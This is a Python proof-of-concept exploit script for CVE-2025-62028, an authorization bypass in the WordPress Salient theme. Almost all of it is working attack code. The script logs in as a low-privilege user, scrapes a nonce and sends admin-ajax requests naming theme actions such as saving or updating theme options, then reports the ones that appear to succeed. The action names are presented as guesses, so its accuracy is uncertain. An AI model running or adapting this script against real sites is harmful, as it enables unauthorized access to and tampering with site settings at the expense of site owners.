CVE-2025-62028

# CVE-2025-62028 PoC - Salient Theme Authorization Bypass # Affected: Salient Theme < 17.4.0 # Type: Missing Authorization import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-site.com" USERNAME = "attacker" # Low privilege user account PASSWORD = "password" def get_wordpress_nonce(login_url, session): """Get WordPress nonce for authenticated requests""" resp = session.get(login_url) nonce_start = resp.text.find('id="_wpnonce"') if nonce_start == -1: return None nonce_part = resp.text[nonce_start:nonce_start+100] nonce_start = nonce_part.find('value="') + 7 nonce_end = nonce_part.find('"', nonce_start) return nonce_part[nonce_start:nonce_end] def exploit_authorization_bypass(target_url, username, password): """Exploit CVE-2025-62028 Missing Authorization vulnerability""" session = requests.Session() # Step 1: Authenticate as low privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Exploit missing authorization # Common vulnerable AJAX actions in Salient theme vulnerable_actions = [ 'nectar_get_options', 'nectar_save_options', 'salient_get_post_meta', 'salient_update_theme_options' ] admin_ajax_url = f"{target_url}/wp-admin/admin-ajax.php" for action in vulnerable_actions: exploit_data = { 'action': action, 'nonce': get_wordpress_nonce(f"{target_url}/wp-admin/admin.php?page=nectar_general_options", session) or '' } try: resp = session.post(admin_ajax_url, data=exploit_data, timeout=10) if resp.status_code == 200 and 'error' not in resp.text.lower(): print(f"[+] Exploited action: {action}") print(f"[+] Response: {resp.text[:500]}") return True except Exception as e: continue print("[-] Exploitation attempted, check manually") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_authorization_bypass(TARGET_URL, USERNAME, PASSWORD)

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